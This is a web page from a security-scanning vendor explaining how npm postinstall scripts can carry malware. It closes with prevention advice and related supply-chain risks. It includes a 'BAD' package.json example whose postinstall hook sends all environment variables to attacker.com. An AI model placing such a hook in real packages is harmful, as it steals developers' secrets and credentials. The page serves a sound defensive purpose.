Malicious Install Scripts
npm postinstall scripts run automatically with your system permissions during npm install, making them a common vector for malware.
How It Works
package.json allows lifecycle scripts like postinstall that execute immediately when the package is installed. A malicious package can use this to run curl | bash, steal environment variables, or plant backdoors — all without any warning to the developer.
// BAD: postinstall script in a dependency exfiltrates env vars
// malicious-package/package.json
{
"scripts": {
"postinstall": "node -e \"require('http').get('http://attacker.com/?d='+JSON.stringify(process.env))\""
}
}// GOOD: review all postinstall scripts before installing new packages
// Run: npm install --ignore-scripts in CI
// Or inspect with: npm pack --dry-run <package-name>
// .npmrc
ignore-scripts=trueReal-World Example
The 'ua-parser-js' package (7M+ weekly downloads) was hijacked in 2021. The malicious version included postinstall scripts that downloaded cryptominers and credential stealers on both Windows and Linux.
How to Prevent It
- Add ignore-scripts=true to .npmrc in your CI environment
- Review the scripts section of any new package's package.json before installing
- Use socket.dev or Snyk to scan packages for suspicious install scripts before adding them
- In production Docker builds, use npm ci --ignore-scripts and install native modules separately
Affected Technologies
Data Hogo detects this vulnerability automatically.
Scan Your Repo FreeRelated Vulnerabilities
Typosquatting
highInstalling a package with a name one character off from a popular library can install malware instead of the real package.
Abandoned Packages
mediumDependencies that haven't been updated in 2+ years are unlikely to receive security patches when new vulnerabilities are discovered.
Dependency Confusion
highPrivate internal packages without a scope prefix can be hijacked by publishing a higher-versioned public package with the same name.
Missing Lockfile
mediumWithout a lockfile, npm install resolves the latest compatible version of every dependency — which can introduce a newly compromised package on your next deploy.